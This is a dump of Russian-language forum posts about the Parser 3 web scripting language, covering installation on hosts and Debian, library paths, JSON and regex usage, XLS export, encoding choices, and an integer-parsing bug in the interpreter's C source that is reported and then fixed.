"80694","Ну и по поводу \"течет\" информация уже не особо актуальна. :)\
\
Лично я, несмотря на написанное в заголовке, еще раз сделаю акцент на слове _разработка_ - конечно, на \"боевом\" сервере хостить cgi через node не особо разумно, если только это не облака типа Azure, Heroku или Rackspace (да и, пожалуй, мало каким проекта облачная архитектура к месту).\
\
Эта библиотека не призвана скрестить Parser 3 и Node JS (хотя написать сайт на обоих технологиях позволяет более чем - например, если захочется иметь админ на Parser 3, а сайт переписать на React JS с частично серверным рендером), а просто чуть упрощает жизнь.\
\
Вот преимущества библиотеки, какие я вижу для себя:\
\
1) У меня три компьютера для разработки, не считая iPad, на котором иногда я пишу код, пользуясь Diet Coda - проект очень удобно деплоить, когда все что для этого нужно - это склонировать репозиторий с github и запустить node веб-сервер (Parser 3 работает внутри него точно также, как и под nginx/apache/lighttpd).\
\
2) Node JS глубоко вошел в мир веб-разработки - прекрасные утилиты yeoman, grunt, gulp, webpack написаны на нем, не говоря уже о node-gyp, который позволяет биндится к нативному коду - намного удобнее иметь возможность собирать проект одной командой \"grunt\", чем иметь 1 000 утилит, и каждый раз на нескольких компьютерах/серверах заниматься их настройкой. Не стоит также забывать, что сейчас все более модной становится разработка SPA web-приложений и повсеместной практикой становится использование phantomjs (который тоже написан на Node JS) для адаптации таких приложений под поисковики и автоматических тестов (node-parser3 делает возможным запускать cgi в разных конфигурациях и упрощает жизнь по написанию тестов, если, конечно, вы их используете и пишите). :)\
\
3) Я пользуюсь Docker'ом (локально/внутри группы) и Heroku (для разворачивания паблик-проектов и для демонстрации работы каких-то штук) - с apache и nginx они не дружат, а вот с node и python в качестве cgi-прослоики - охотно. Мне лично поднимать проект на них гораздо проще классических хостингов - но это \"на вкус и цвет\".\
\
Если вы активно занимаетесь разработкой на Parser 3 и фронтом одновременно - библиотека должна стать хорошим другом, который сбережет немного нервов и сэкономит немного времени."
"80701","Есть в bash пара переменных\
[code]\
$1[111]\
$2[222]\
\
Вызываю код парсера из bash скрипта\
sudo -u user /var/www/clients/client1/web1/cgi-bin/parser3.cgi /var/path/code.p\
\
в code.p есть  @bd[1;2]\
\
[/code]\
\
вопрос как в это @bd[1;2] передать значения переменных $1 и $2 при таком вызове кода парсера ?"
"80702","Они уже получены, просто прочитайте их )"
"80703","Нет. Не помогло.\
\
заработало вот так\
\
http://www.parser.ru/docs/lang/?requestargv.htm\
[code]\
$1[111]\
$2[222]\
\
Вызываю код парсера из bash скрипта\
sudo -u user /var/www/path/cgi-bin/parser3.cgi /var/path/code.p \"$1\" \"$2\"\
\
^bd[$request:argv.1;$request:argv.2]\
\
[/code]"
"80704","Хм в env должны были попасть все переменные окружения или вы просто не пробовали?"
"80705","Пробовал. Но наверное или неправильно...."
"80707","Приветствую, мужики.. Пытаюсь перенести сайт с локалки на хост хост (www.wp-host.com).. Скачал сборку под Линукс.. Не работает.. \
\
[code]Not Found\
\
The requested URL /cgi-bin/parser3.cgi/index.html was not found on this server.[/code]\
\
Скопировал по инструкции.. Содержимое .htaccess\
\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>[/code]\
\
В index.html\
[code]$today[^date::today[]] \
^today.sql-string[] [/code]\
\
В auto.p\
[code]@auto[]\
$connect_string[mysql://root@localhost/p3test?charset=cp1251 ] [/code]\
\
Пишу хосту спросил операционка какая.. Ну и есть ли поддержка.. Ответ:\
[quote]Для вас\
операционная система CLOUDLINUX 6.6\
cgi скрипты складывать в одноименную папку.\
эта папка создается при добавлении домена в указанной папке при добавлении.\
в качестве модуля установить не удаться, для этого Вам нужен собственный сервер.\
Стандартно работать должен.[/quote]\
\
Собственно в чем может быть трабла, или же может кто поможет со сборкой.. Те кто шарят в линухе, посоветуйте"
"80708","Помогите разобраться\
\
[code]\
$f[^curl:load[\
     $.url[https://graph.facebook.com/oauth/access_token]\
     $.postfields[Строка авторизации] \
   ]] \
[/code]\
\
В случае успеха в [code]$f.text[/code] получаем строку вида [code]access_token={token}&expires={число}[/code]. Как эту строку преобразовать аналогично значениям поля формы, чтобы можно было напрямую обращаться [code]$object.access_token[/code] и получить значение токена, пришедшее в ответе, [code]$object.expires[/code] - значение expires и т.д.\
\
Спасибо."
"80709","Возвращается просто строка.\
\
Режете по &, затем каждую часть по =."
"80710","test.html?test=&#38376;&#22609;-&#28895;&#29436;&#19990;\
\
[code]$s[^form:test.trim[]]\
^s.upper[][/code]\
\
Получаю: &#38376;&#22609;-&#28895;&#29436;&#19990;\
\
Ошибки нет, Parser 3.4.3.\
\
P. S. Форум эскейпит иероглифы, в сообщении они были в исходном виде."
"80711","Хостер пишет:\
[code]\
cgi скрипты складывать в одноименную папку.\
[/code]\
\
Стоит сделать как они сказали. И внести соответствующие правки в .htaccess.\
\
Много интересного есть на странице http://www.parser.ru/faq/install/"
"80712","установил parser3 версии 3.4.3 на 32-битной Ubuntu 14.10 и 64-битной Debian 7\
на Ubuntu все работает, а вот на Debian при подключении к БД выдается сообщение типа:\
\
driver failed to initialize client library 'libmysqlclient.so', libmysqlclient.so: cannot open shared object file: No such file or directory /usr/lib/cgi-bin/lib/libparser3mysql.so\
\
по смыслу сообщения получается, что этого файла там нет\
в реальности - ОН ТАМ ЕСТЬ\
\
root@dbs:/usr/lib/cgi-bin/lib# ls -l\
итого 152\
-rw-r--r-- 1 root root 48928 Окт 30  2013 libparser3mysql.so\
-rw-r--r-- 1 root root 50456 Окт 30  2013 libparser3pgsql.so\
-rw-r--r-- 1 root root 48704 Окт 30  2013 libparser3sqlite.so\
drwxr-xr-x 2 root root  4096 Фев 12 12:28 system\
\
у кого нибудь получилась установка парсера на Debian 7 \"из коробки\"\
без самостоятельной сборки драйверов для БД???"
"80713","http://www.parser.ru/forum/?id=79415"
"80714","/usr/lib/cgi-bin/lib/libparser3mysql.so сообщает вам о том, что не смог найти libmysqlclient.so"
"80715","libmysqclient.so на месте, в каталоге lib/system\
\
root@dbs:/usr/lib/cgi-bin/parser3/lib/system# ls -l\
итого 2928\
-rw-r--r-- 1 www-data www-data 2209664 Окт 24  2013 libmysqlclient.so\
-rw-r--r-- 1 www-data www-data  166296 Окт 24  2013 libpq.so\
-rw-r--r-- 1 www-data www-data  617816 Окт 24  2013 libsqlite3.so\
\
при установке парсера никаких глобальных изменений не делал\
загрузил архив с сайта и распаковал его в /usr/lib\
на 32-битной ubuntu все заработало. на 64-битном debian проблемы\
\
вот что показала проверка ldd, как советуется\
\
root@dbs:/usr/lib/cgi-bin/parser3# ldd parser3.cgi\
        linux-vdso.so.1 =>  (0x00007fff16dff000)\
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fa501156000)\
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fa500f52000)\
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fa500c4a000)\
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fa5009c8000)\
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fa5007b2000)\
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fa500425000)\
        /lib64/ld-linux-x86-64.so.2 (0x00007fa501396000)\
root@dbs:/usr/lib/cgi-bin/parser3# ldd lib/libparser3mysql.so\
        linux-vdso.so.1 =>  (0x00007fffa129c000)\
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe4267f8000)\
        libstdc++.so.6 => /usr/lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fe4264f1000)\
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fe42626e000)\
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe425ee2000)\
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fe425ccc000)\
        /lib64/ld-linux-x86-64.so.2 (0x00007fe426c11000)\
root@dbs:/usr/lib/cgi-bin/parser3# ldd lib/system/libmysqlclient.so\
        linux-vdso.so.1 =>  (0x00007fff52769000)\
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbd769e9000)\
        libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x00007fbd767b2000)\
        libnsl.so.1 => /lib/x86_64-linux-gnu/libnsl.so.1 (0x00007fbd76599000)\
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fbd76317000)\
        libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fbd76100000)\
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbd75d73000)\
        /lib64/ld-linux-x86-64.so.2 (0x00007fbd7702b000)"
"80716","извиняюсь, действительно не находится:-(\
в debian перенесли этот модуль в /usr/lib/x86_64-linux-gnu\
а в libparser3mysql.so видимо прописан старый вариант: /usr/lib"
"80717","Путь прописывается не в libparser3mysql.so, а в auto.p, \
просто пропишите правильный."
"80718","Отдавали бы уже или xml или json, а тут какая-то явно не тот формат)"
"80719","Может что-то надо где-то прописать?) И придет нормальный ответ"
"80721","Есть подозрение, что так отдают специально, так как использовать по отдельности не предполагается, а нужен для подстановки в другие запросы.\
\
https://developers.facebook.com/docs/facebook-login/manually-build-a-login-flow/v2.2#exchangecode"
"80722","Ребят, не получается настроить.. Хостер смахивает на старую сборку.. Я пишу им:\
[code]Не получается запустить скрипт.. Кладу в папку cgi-bin и дополнительного домена и основного, выводится одна и таже ошибка.. В чем может быть проблема? На локальном сервере все работает отлично.. Посмотрите пожалуйста, либо попобуйте сам протестить. Ссылку я давал http://www.parser.ru/download/[/code]\
\
Они отвечают:\
[code]где Вы устанавливаете на хостинг ?\
ссылку на оф. сайт я знаю[/code]\
[code]\
свежее скриптов нету ?\
на сайте разработчика последнее обновление в 2013 году\
операционные системы шагнули уже вперед.[/code]\
\
[code]+ у нас отдача на серверах настроена через Nginx сервер\
возможно не получится запустить ваш скрипт. нужно уточнять на сайте.\
Как вариант могу предложить бюджетный vds с желаемыми настройками.[/code]"
"80723","разобрался наконец-то\
файл клиентской библиотеки mysql в текущей версии debian/ubuntu\
называется libmysqclient.so.18.0.0\
\
в ubuntu есть линк libmysqclient.so на него\
а в debian - отсутствует"
"80724","Проверьте куда вы устанавливаете Парсер. Вам сервер говорит, что он не может найти файл /cgi-bin/parser3.cgi, т.е. ScriptAlias указывает не в ту папку, куда вы кладете бинарник Парсера. Добейтесь для начала, чтобы срабатывал http://vash-sait.dom/cgi-bin/parser3.cgi.\
\
Это написано на странице http://www.parser.ru/faq/install/\
\
Если что-то не получается, то описывайте подробно, что делаете, куда кладете файлы, что происходит, если запустить парсер из консоли на хостинге и т.п."
"80725","Здравствуйте,\
\
нужно настроить сайт tverlife.ru\
перестал работать визуальный редактор при добавлении материала\
\
кто поможет?"
"80726","Если выдает системную ошибку парсера - то скорее всего поможет добавление .htaccess с RemoveHandler в директорию визуального редактора."
"80727","Коллеги!\
Кто возьмется исправить проблемы на сайте pomorcpp.org?"
"80728","Писать сюда или на почту somaris@mail.ru"
"80729","Я на почту скайп кинул. Ежли чего - велкам."
"80730","Денис!\
Спасибо, пока не пришло сообщение.\
Можно продублировать?\
somaris@mail.ru"
"80731","[code]$x[011]\
^x.int(0)\
\
3.4.1 (compiled on i386-pc-win32) \
\
--> 11\
\
3.4.2 и 3.4.3 \
\
--> 17[/code]\
\
Как так?"
"80735","В новостях не нашел каких либо изменений связанных с int в версии 3.4.2\
В доке ничего не говорится про такие случаи, там только есть пример\
[code]$str[123] \
^str.int[]\
вернет 123[/code]\
\
В 3.4.1, имхо, поведение int было правильное"
"80737","Как переменные окружения связаны с параметрами приложения? :)\
\
Чтобы в ENV попало, так это надо вызывать скрипт как:\
MY_SUPER_COOL_ENV_VARIABLE=production ./superscript.p\
\
Кстати, более сложный пример из давнишних, можно выдрать некоторые идейки, как это сделано в C приложениях, хотя сам код относительно плохой (писал на каком-то раннем этапе изучения парсера):\
https://gist.github.com/dwr/97835e7c33b797143c06"
"80738","https://graph.facebook.com/oauth/access_token всегда отдает параметры через & при запросе токена, остальные endpoint'ы всегда отдают json.\
\
Имеются ввиду endpoint'ы graph.facebook.com, то есть, грубо говоря, им пофиг, какой Accept-заголовок передан."
"80739","Миша в том посте явно ошибся и там же его поправили. Если бы с нуля начиналась восьмеричная то результат был бы 9, а не 17, как правильно заметил Олег\
Собственно непонятно ничего\
1. почему hex\
2. почему этого нет в доке\
3. почему до версии 3.4.2 преобразование было другим, а ведь это было uncompatible изменение. \
\
Собственно эту ошибку нашел, когда старый код пытался перевести на свежую версию парсера и результат внезапно оказался другим."
"80740","pa_string.C:\
\
[code]\
unsigned int pa_atoui(const char *str, int base, const String* problem_source){\
	unsigned int result = 0;\
	const char *pos = str;\
\
	<skipped>\
\
	if (base == 16 && *pos == '0') { /* handle option prefix */\
		++pos;\
		if (*pos == 'x' || *pos == 'X') {\
			++pos;\
		}\
	}\
\
	if (base == 0) { /* dynamic base */\
		base = 10; /* default is 10 */\
		if (*pos == '0') {\
			++pos;\
			if (*pos == 'x' || *pos == 'X')\
				++pos;\
				base=16;\
		}\
	}\
[/code]\
\
в str приходит \"011\"\
ошибка, как мне кажется, в этих строках:\
[code]\
			if (*pos == 'x' || *pos == 'X')\
				++pos;\
				base=16;\
[/code]\
судя по форматированию, должно быть так:\
[code]\
			if (*pos == 'x' || *pos == 'X') {\
				++pos;\
				base=16;\
			}\
[/code]\
\
в [url=http://lists.uclibc.org/pipermail/uclibc/2000-December/020921.html]коде из uClibc[/url], крторый, судя по комментярию,  был взят за основу, скобочки сейчас стоят правильно:\
[code]\
    if (base == 0) {		/* dynamic base */\
	base = 10;		/* default is 10 */\
	if (*pos == '0') {\
	    ++pos;\
	    base -= 2;		/* now base is 8 (or 16) */\
#if _STRTO_ENDPTR\
	    fail_char = pos;\
#endif\
	    if ((*pos == 'x') || (*pos == 'X')) {\
		base += 8;	/* base is 16 */\
		++pos;\
	    }\
	}\
    }\
[/code]\
\
но лучше подождать мнения moko@ :)"
"80746","Никак не могу понять:(\
\
Есть JSON, отдается скриптом на сервере, вот такой\
[code]{\"version\" : \"1.5.32\",\"date\" : \"2015-02-19\"}[/code]\
\
Пытаюсь его получить с сервера, и разобрать:\
[code]\
$upd[^file::load[text;http://url_сайта;$.timeout(5)]]\
$json[^json:parse[$upd.text;$.double(false) $.taint[json]]]\
[/code]\
Получаю \
parse\
unexpected char at byte 1\
\
Что не так? Никаких пробелов/прочего в начале нет:(\
Если полученный файл сохраняю, там все нормально"
"80747","^untaint[as-is]{$upd.text} надо делать, а то там действительно не json будет"
"80748","diff:\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/pa_string.C?r1=1.241&r2=1.242"
"80750","> но лучше подождать мнения moko@ :)\
\
Да что тут ждать, все в общем понятно, баг он и есть баг. :( Из форматирования видно, что скобки подразумевались, но увы их нет. Обидно, что это оказалось не покрыто тестами да и вообще так долго оставалось незамеченным. :( \
\
Похоже баг оставалось незамеченным и потому, что ошибка только в преобразовании целых чисел, а например в случе ?n=011 $n($form:n) и $n(011) вызывается вещественное преобразование и проблемы нет.\
\
Исправлено в HEAD, завтра будет в ночных сборках."
"80751","Благодарю! Все заработало:)"
"80753","Добрый день,\
\
При открытии экспортированного файла выдается ошибка, что формат не соответствует разрешению.\
\
Код:\
[code]\
$response:content-type[\
	$.value[application/vnd.ms-excel]\
	$.charset[$response:charset]\
]\
\
$table{\
	<html xmlns:o=\"urn:schemas-microsoft-com:office:office\" xmlns:x=\"urn:schemas-microsoft-com:office:excel\" xmlns=\"http://www.w3.org/TR/REC-html40\">\
	<head>\
		<meta http-equiv=\"content-type\" content=\"text/html^; charset=windows-1251\" />\
		<meta name=ProgId content=Excel.Sheet>\
	</head>\
	<body>\
		<table border=\"1\" cellpadding=\"3\" cellspacing=\"0\">\
			<tr><th width=\"200\">1</th><th>2</th></tr>\
		</table>\
	</body>\
	</html>\
}\
\
$file[^file::create[text;Общий журнал работ.xls;$table]]\
$response:body[$file]\
[/code]\
\
Где я ошибся?"
"80755","А давно в XLS должен лежать HTML?\
\
Вообще вопрос не по парсеру совсем. Можете локально создать такой \"xls\" и попровать открыть - будет таже ошибка"
"80756","На форуме нашел http://www.parser.ru/forum/?id=19954\
Сделал по примеру"
"80757","Просто не надо html выдавать под видом xls"
"80758","Ну как же нет: http://www.parser.ru/forum/?id=73219\
И ответ на это от Misha v.3: http://www.parser.ru/forum/?id=73220"
"80759","Возможно в те времена, все таки 12 лет назад, тогдашние версии excel относились к такой явно подозрительной ситуации с подменой формата нормально"
"80760","Согласен, времени много прошло.\
Через XML шагать?"
"80762","И ошибки о несоответствии формата расширению нет?"
"80765","CSV конечно проще, но нужно XLS"
"80766","дайте пожалуйста совет, а имеет ли смысл при таком подходе:\
один пользователь - один файл сессии\
использовать hashfile, будет ли какой-то существенный выигрыш/преимущество?\
Или проще обычный table-файл заюзать?\
\
Ясно что произвольный доступ к полям key-value у hashfile быстрее,\
но не отяготить ли он простой код, контролем за  его expires,flush-ами/save-ами или это только с поверхности кажется что там \"лишние заморочки\"?\""
"80767","Советую не заморачиваться, храните данные в файлах в json, импортируйте из json в hash. Открытие/закрытие одного файла за сессию еще никогда ничего плохого никому не делала.\
\
Первое, во что люди упираются при разработке сайтов по производительности - это MySQL все-таки, когда данных становится несколько сотен миллионов строк ;)"
"80769","Я тоже генерю, но отдаю их \"как есть\", без расширения. А на xls он должен ругаться, т.к. у него внутренний формат не html.\
\
Сейчас я бы делал через xslx, который xml упакованный в zip"
"80770","Прогоняли, и даже не триалом. Правда это было в 2011 году. :) Возможно имеет смысл повторить."
"80772","Понимая обширный набор User-Agent-ов, а также всяких мобильных устройств, может где-то уже есть готовое решение (почему-то кажется что видел в технологиях Яндекса но сходу найти не удалось).\
\
Чтобы отдавая строку User-Agent\
можно было в ответ какую-то расшфировку:\
BrowserName: Chrome\
Screen: Desktop (Tablet, Mobile)\
HTMLSupport: HTML5 (HTML4.01)\
\
Есть ощущение, что где-то такое видел... но где в упор не помню."
"80774","http://www.useragentstring.com/pages/api.php"
"80776","Вчера обыскался на\
https://tech.yandex.ru/#catalog\
и ведь не упоминается Детектор..."
"80777","Ну браузер, ну версия... в списке их генерируемых полей ничего в конце-концов полезного не заключить.\
Да и при всей обширность UA UCWEB'а распространненого китайского шустрого мобильного браузера под Android не оказалось..."
"80778","1.Пока как решение-затычка на скорую руку:\
 Посмотрю caniuse.com - и сетку основных браузеров и их версий которые дотягивают до html5/flexbox, их отсекаю - остальное downgrade\
\
2.Вариант Modernizr.js - вещь в принципе."
"80779","А что собираетесь на сервере делать, что бы зависело от клиента?\
\
С выводом заглушки справится и Modernizr.js с минимумом верстки, который потратится на div-заглушку."
"80780","Не понял, что вы имеете в виду насчет заглушки.\
Заглушка-выбор версии - типа перейдите на мобильную или что?\
Цель - морда сайта с витриной.\
\
А это блоки, блоки, блоки...\
\
Хотел не связываться с вечными div:float костылями и css-фреймворками, а использовать наконец-то годную html5/flexbox каркасную модель.\
\
А для тех браузеров, что не умеют flexbox - нагло вручить деградационный шаблон на HTML 4.01 на таблицах, который даже с кофеварки можно посмотреть."
"80781","Ну... если polyfill'ов из modernizr/html5-shiv не хватает, то ок - detect на сервере в этом случае единственное решение."
"80783","Потыкал в демки, всех этих shiv-ов и moderniz'erов\
На виртуалке стоит честный IE 6.x на WinXP SP2\
И демки примеров эмуляуии тега <video>\
которые заявлены ка IE6+ на деле не отрабатываются\
да и верстка расползается.\
\
Но не на него ставка, а скорее на браузеры-\"упрощаторы\", которые очень популярны под телефоны - типа UCWEB (очень популярный на Андроид, т.к. шустрый), или Opera Mini/Mobile - которая тоже странным образом кромсает верстку.\
\
В итоге чтобы не заморачиваться со сложной дифференцированной деградацией, есть практичная мысль разделить все только на 2 шаблона.\
\
1. HTML5/CSS3/Flexbox с адаптивными плюшками = закрываем нормальным нативным кодом все современные браузеры и платформы от десктопа до мобильных.\
\
2. HTML 4.01/CSS2/byTable/без JS - старая добрая верстка на резиновых таблицах - закрывает все старые бородатые браузеры, а также слабые мобильные устройства с недо_браузерами, которые легко переварят такой код да еще и без JS. Резиновыми табличками и шрифтами в %% тоже закрываем как можем все экраны от десктопа до ковефарки (даже Lynx наверное :)\
\
3.PROFIT"
"80784","[b]index.html[/b] [code]\
@main[][_regex;_file;_strCode]\
$_regex[^regex::create[^^(^^@|@){1}(.*)^$][gm]]\
$_file[^file::load[text;regex.p]]\
$_strCode[^_file.text.match[^^(^^@|@){1}(.*)^$][gm]{^^@$match.2}]		^rem{ *** Так всё работает *** }\
#$_strCode[^_file.text.match[$_regex]{^^@$match.2}] 				^rem{ *** А так - нет *** }\
<pre>\
$_strCode\
</pre>\
[/code]\
\
\
[b]regex.p[/b]\
[code]\
$test_string[{\
   \"a1\":{\"b\": 1.1, \"c\": \"xyz\", \"d\":\"zzz\"},\
   \"a2\":{\"b\": \"1.3\", \"b\": 2.2, \"b\": 3}\
}]\
\
@method1000[]\
$result(^math:random(1000))\
\
^@method2000[]\
$result(^math:random(2000))\
[/code]\
\
При безошибочной работе результат:\
[code]\
$test_string[{\
\"a1\":{\"b\": 1.1, \"c\": \"xyz\", \"d\":\"zzz\"},\
\"a2\":{\"b\": \"1.3\", \"b\": 2.2, \"b\": 3}\
}]\
^@method1000[]\
$result(^math:random(1000))\
^@method2000[]\
$result(^math:random(2000))\
[/code]\
\
При ошибке:\
[code]\
match\
options must not be code (parameter #2)\
[/code]"
"80785","Ну, если затачиваться под Opera Mini и Lynx - то да, вариантов особо нет. :)\
\
От себя посоветую https://www.npmjs.com/package/polyfill-service и http://www.browsersync.io/ (особенно второй), чтобы сразу тестить верстку под полный спектр девайсов.\
\
P. S. Мне в последнее время нравится как строятся React-приложения на Flux - рендерятся и на сервере и на клиенте, то есть, грубо говоря, можно весь UI делать Rich на JavaScript и с какой-то вероятностью сохранять совместимость для такого треша как Opera Mini даже и поисковиков, которые в иных случаях просто игнорировали бы сайт (исключая Google/Яндекс которые исполняют JS). Жаль, что успешно такая среда только внутри node работает. :("
"80787","$_strCode[^_file.text.match[$_regex][]{^^@$match.2}] \
Да и ошибка же понятная\
options must not be code (parameter #2)\
второй параметр не может быть кодом), т.к. это опции поиска"
"80789","Так можно использовать любой порядок)\
Ну это для своих функций)"
"80790","К тому же передача параметра идёт по ссылке и можно непосредственно менять значения ключей хэша в контексте вызова. Это бывает удобно."
"80791","Описание формата — https://msdn.microsoft.com/en-us/library/aa140066%28office.10%29.aspx\
\
У меня есть класс-хелпер — http://code.volchkov.net/parser3-pf/src/376c193ad4428ffe1557d01118315faad3cacaa8/api/office/excel/pfTableToXLS.p?at=pf\
\
Использую в модулях на PF'е так:\
[code]\
@create[aOptions]\
...\
  $self._routeRequirements[$.slug[[a-z\\-_]+] $.date[\\d+\\-\\d+\\-\\d+] $.regionID[\\d+]]\
  ^router.assign[:slug/data/water-data-:{regionName}-:{date}.xls;data/report;$.requirements[$_routeRequirements] $.strict(true)]\
...\
@onDataReport[aRequest][locals]\
  $lRegion[^_getRegionBySlug[$aRequest.slug]]\
  $lMinDate[^core.counters.data.minDate[$.regionID[$lRegion.regionID]]]\
  $lDate[^core.utils.getDay[^unsafe{^date::create[$aRequest.date]}{$_today}]]\
  ^if($lDate.date < $lMinDate || $lDate.date > $_today){\
    ^redirectTo[data;$.slug[$lRegion.slug]]\
  }\
  ^use[pf/api/office/excel/pfTableToXLS.p]\
  $lConverter[^pfTableToXLS::create[$.charset[utf-8]]]\
\
  $result[\
    $.type[xml]\
    $.charset[utf-8]\
    $.content-type[$lConverter.contentType]\
    $.body[^lConverter.convert[^core.reports.countersDataForDate[\
      $.regionID[$lRegion.regionID]\
      $.baseDate[$lDate.date]\
    ]][\
      $.fields[\
        $.address[Адрес]\
        $.devID[Счетчик]\
        $.type[Вода]\
        $.value[Показание]\
        $.aggregateDate[Период]\
        $.updatedAt[Дата]\
      ]\
    ]]\
  ][/code]\
\
Когда отдаем xml браузеру, не забываем удалять пробельные смволы перед <?xml — для большинства парсеров разметки это критично."
"80792","Вопрос связан с практическим упреждением, что меньше создаст проблем?\
Мысли в пользу UTF-8 поняты - языковая универсальность, переносимость.\
\
Мысли в пользу Windows-1251 в том, что сайт скорее всего не выйдет за пределы En/Ru, и стало быть может однобайтная кодировочка то все же побезопаснее будет? \
\
Те же работы со string-ами в Parser там с преобразованиями всякими строк Parser должен побыстрее с однобайтной кодировкой работать.\
\
Да и в БД хранить лишний объем...\
\
Да и отдавать простыни текста в однобайтной кодировке то покороче будет? Или UTF-8 именно русского текста не добавляет много накладных расходов?"
"80793","Почитал тут тред про вложение классов - удобно, красиво, да еще и ленивая подгрузка...\
правильно ли передавать $self в конструктор подвложенных классов,\
если у меня есть нужда обращаться из подвложенных к данным родительского?\
\
[code]\
@main[]\
\
 $mysite[^Site::create[]]\
 $mysite.user.sitename    ^rem{ Должно выдавать SiteA по идее}\
\
#--------\
@CLASS\
Site\
\
@create[]\
 $_user[]\
 $sitename[SiteA]\
\
@GET_user[]\
 ^if(!def $_user){\
   ^use[/classes/User.p]\
   $_user[^User::create[$self]]\
 }\
 $result[$_user]\
\
@CLASS\
User\
\
@create[parent]\
 $sitename[$parent.sitename]\
\
\
[/code]"
"80794","От корня легко добраться до любого места в иерархии, даже если нужны другие «ветки».\
\
У этого подхода есть недостаток — если меняем структуру дерева модулей, то придется поменять в коде «путь вызова» с помощью find/replace текстового редактора. Но ходить по иерархии через parent не так удобно. Сравните ^core.clients.companies.get[...] и ^parent.parent.clients.comanies.get[...]. Мне первый вариант нравится больше."
"80795","... то я предпочитаю везде использовать utf-8. «Жесткие ограничения» — это про встраиваемые системы. Для таких случаев я бы использовал языки со статической типизацией, динамические языки требуют больше памяти и с однобайтовыми кодировками. :)\
\
У юникода есть два существенных достоинства. Единая кодировка — это очень удобно, переносимо и универсально. Мы можем использовать символы вместо энтити. Всякие &nbsp^; и &mdash^; в тексте мешают чтению и правкам, занимают много байтиков. Полезных символов в юникоде много."
"80796","1) Меня волновала неуверенность того, что может я неправильно понимаю еще конструкции Парсера и что надо передавать именно $self\
\
2) Если передавать корень, то как лучше? Изначально оттолкнуться от некоего базового/метакласса чтобы и на корневом уровне начинать с core.clients и в подобъектах тоже - так сказать одна адресация была. Или можно просто залинковать на имя $core в корневом классе свой же $self ? Там в комментарии вопрос по коду.\
\
Вижу так (LazyLoad уберу пока):\
\
\
[code]\
@main[]\
 $mysite[^Site::create[]]\
\
#------\
@CLASS\
Site\
\
@create[]\
 $core[$self]\
 $sitename[SiteA]\
 $users[^create[Users::create[someparams] $.core[$self]]]\
\
@site_somemethod[]\
 $result[$core.sitename]\
\
@CLASS\
Users\
\
@create[someparams]\
#кстати \"успеет\" ли $user_sitename увидеть тут в конструкторе \
#$core передаваемый именно как $.core (хеш-параметр)\
 $user_sitename[$core.sitename]  \
\
\
\
[/code]"
"80799","...что вдруг придется столкнуться с тем, чтобы передавать \
какие-то данные сторонним скриптам, perl-у какому-нить или\
еще чему... и всё еще (как мне кажется) тянется наследие того, \
что все алгоритмы работы со строками так или иначе были заточена раньше на работу с однобайтной кодировкой...\
\
то есть страх словить какой-то legacy-костыль который нужен, и потом ловить мучаться с перекодировками..."
"80802","Да и в других языках utf-8 становится стандартом. Я не вижу смыла сейчас делать проекты не в utf."
"80803","Я тоже только двумя руками за UTF-8\
но вот нужда экспортировать всякие большущие xml-ки\
и например тот же ozon.ru полностью на windows-1251 сидит\
и соответственно уже надо будет перекодировать всю эту радость."
"80806","Рекомендую настроить Compose Key себе, а не следовать зеленой галочке :)\
\
Тогда будет что-то типа Caps Lock + Space + Space для неразрывного пробела."
"80807","И для чего не хватает подсветки синтаксиса?\
\
Я IntelliJ IDEA, Coda и Sublime использую в работе."
"80809","Для меня TextMate сдох вместе с OS X 10.7, когда перестал обновляться. Ровно тогда же все стали переходить на аналогичный Sublime. Оба редактора нативные, бандлы в принципе совместимы.\
\
Сейчас вон GitHub Atom вышел, многообещающий, но разработку на него переносить пока стремно - работает медленно :("
"80810","Парит, что схема Paser3 в sublime2 не красит html,\
а разбираться и самому делать врядли осилю."
"80812","...проекта http://voda-uzao.ru\
\
Я оставил в коде вещи, значимые для понимания структуры модулей.\
\
\
app/models/hydCore.p:\
[code]\
@CLASS\
hydCore\
\
@USE\
pf/types/pfClass.p\
pf/tests/pfAssert.p\
pf/debug/pfRuntime.p\
\
hydBaseModel.p\
\
@BASE\
pfClass\
\
@auto[aFilespec]\
  $[__^CLASS_NAME.upper[]_FILESPEC__][^aFilespec.match[^^(^taint[regex][$request:document-root])][][]]\
  $[__^CLASS_NAME.upper[]_ABSOLUTE_FILESPEC__][$aFilespec]\
\
@create[aOptions]\
  ^pfAssert:isTrue($aOptions.sql is pfSQL)[SQL-объект должен быть наследником pfSQL.]\
  ^BASE:create[]\
  ^cleanMethodArgument[]\
\
  $_sql[$aOptions.sql]\
\
  $_binPath[^file:dirname[$__HYDCORE_FILESPEC__]/../bin]\
  ^defReadProperty[binPath]\
\
  $_coreRootPath[^file:dirname[$__HYDCORE_ABSOLUTE_FILESPEC__]]\
  ^defReadProperty[coreRootPath]\
\
  $_storagePath[^file:dirname[$__HYDCORE_FILESPEC__]/../../../hydra-storage]\
  ^defReadProperty[storagePath]\
\
  $_modules[^hash::create[]]\
\
  ^addModule[regions;hydCoreRegions]\
  ^addModule[counters;hydCoreCounters]\
  ^addModule[mc;hydCoreManagementCompanies]\
  ^addModule[vts;hydCoreVTS]\
  ^addModule[feedback;hydCoreFeedback]\
\
  ^addModule[payments;hydCorePayments]\
